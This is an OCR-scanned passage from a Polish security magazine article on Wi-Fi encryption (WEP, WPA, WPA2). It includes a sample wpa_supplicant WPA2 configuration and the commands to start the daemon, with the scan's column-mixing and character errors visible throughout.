TSN (Transitional Security Network) — architektura bez-
pieczenstwa sieciowego obstugujaca mechanizmy sprzed
802.11i (m.in. WEP).

WEP (Wired Equivalent Privacy) — domysiny protokét szyfro-
wania dla sieci 802.11.

WPA (Wireless Protected Access) — implementacja wcze-
snej wersji standardu 802.11i bazujgca na algorytmie szyfru-
jacym TKIP.

WRAP (Wireless Robust Authenticated Protocol) — stary pro-
tokot szyfrowania obstugiwany przez WPA2.

J

nak 29 kwietnia 2005 roku pojawi-
ta sie aktualizacja dla Windows XP
SP2 (KB893357) dodajaca obstuge
WPA2 i usprawniajgca wykrywanie
sieci (patrz Rysunek 16). Uzytkownicy
innych systemoéw operacyjnych Micro-
softu muszg korzysta¢ z zewnetrzne-
go modutu petenta (komercyjnego lub
open source, na przyktad wpa_suppli-
cant, dostepnego dla Windows w wer-
sji eksperymentalnej).

Modut wpa_supplicant dla syste-
moéw linuksowych i *“BSD obstugiwat
WPAZ2 juz w chwili publikacji standar-
du 802.11i. Zewnetrzny petent obstu-
guje szeroki zakres metod EAP i me-
chanizmoéw zarzadzania kluczami
dla WPA, WPA2 i WEP. Istnieje moz-
liwos¢ definiowania réznych algoryt-
mow szyfrowania i zarzadzania klu-
czami oraz roznych metod EAP dla
réznych sieci — Listing 9 przedsta-
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wia prosty plik konfiguracyjny WPA2.
Domysing lokalizacjg tego pliku jest
/etc/wpa_supplicant.conf i oczywi-
Scie powinien on by¢ dostepny wy-
tacznie dla uzytkownika root.

Jako uzytkownik root urucha-
miamy najpierw demona wpa_sup-
plicant w trybie debugowania (prze-
tacznik -ad), podajac odpowiedni ste-
rownik (dla naszego przyktadowego
chipsetu Atheros bedzie to opcja
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Temat numeru

-
Listing 9. Przyktadowy plik konfiguracyjny modutu wpa_supplicant dla O autorze
WPA2 Guillaume Lehembre jest specjali-
ap_scan=1 # Skanowanie czestotliwo$ci sta ds. bezpieczenistwa, zatrudnionym
# 1 wybdr odpowiedniego punktu dostepowego w firmie HSC (Hervé Schauer Consul-
network={ # Pierwsza sie¢ bezprzewodowa tants — http://www.hsc.fr). Jego uroz-
ssid="jakis ssid" # SSID sieci maicona kariera zawodowa obejmo-
scan_ssid=1 # Odkrywanie ukrytych SSID zadaniem Probe Request wata audyty, badania i testy penetracyj-
proto=RSN # RSN dla WPA2/IEEE 802.111i ne, co pozwolito mu zdoby¢ cenne do-
key mgmt=WPA-PSK # Uwierzytelnianie z kluczem PSK Swiadczenie w dziedzinie bezpieczer’l-
pairwise=CCMP # Protokdét CCMP (szyfrowanie AES) stwa bezprzewodowego. Opublikowa’f
psk=1232813c587dald5ce647£d43e5908abb45as4al258fd5e410385ab4e5f435ac . .
wiele artykutéw dotyczacych bezpie-
: czenstwa, wygtosit tez kilka odczytow.
. Kontakt z autorem: Guillaume.Lehem-
-b maawi-ri), nazwe interfejsu (opcja Podsumowanie bre@hsc.fr.
-i, W tym przykfadzie z wartoscia Dawno juz stato sie jasne, ze szy- \_

atho) oraz $ciezke do pliku konfigura-
cyjnego (opcja -c):

# wpa_supplicant
-D madWi-Fi
-dd -c /etc/wpa_supplicant.conf
-i athO

Wigczenie trybu debugowania po-
woduje wypisywanie na ekranie po-
stepédw wszystkich opisanych wcze-
Sniej etapoéw (skojarzenia z punk-
tem dostepowym, uwierzytelniania
802.1X, negocjacji czteroetapowej
itd.). Jesli wszystko dziata popraw-
nie, mozna wytgczy¢ tryb debugowa-
nia i uruchomic program wpa_ suppli-
cant jako demona podajac przetacz-
nik -8 zamiast -dd.

WPA2 na Macintoshu jest obstu-
giwane od wersji 4.2 oprogramowania
Apple AirPort dla maszyn z obstuga
AirPort Extreme, AirPort Extreme Ba-
se Station lub AirPort Express.

frowanie WEP nie zapewnia odpo-
wiedniego  poziomu  bezpieczen-
stwa w sieciach bezprzewodowych,
przez co jego bezpieczne uzytkowa-
nie jest mozliwe wytacznie z szyfrowa-
niem wyzszego poziomu (na przykfad
w sieciach VPN). WPA jest znacz-
nie bezpieczniejszym rozwigzaniem
dla starszych urzgdzen nieobstugu-
jacych WPA2, ale to ten drugi be-
dzie juz wkrotce nowym standardem

bezpieczenstwa bezprzewodowego.
W przypadku sieci o znaczeniu kry-
tycznym trzeba mimo wszystko pa-
mieta¢ o umieszczaniu urzadzen bez-
przewodowych w strefach ekranowa-
nych i dostepnosci awaryjnego facza
kablowego — skutki zagtuszania cze-
stotliwosci radiowych i atakéw nisko-
poziomowych na sieci bezprzewodo-
we moga nadal by¢ dotkliwe. ®

p
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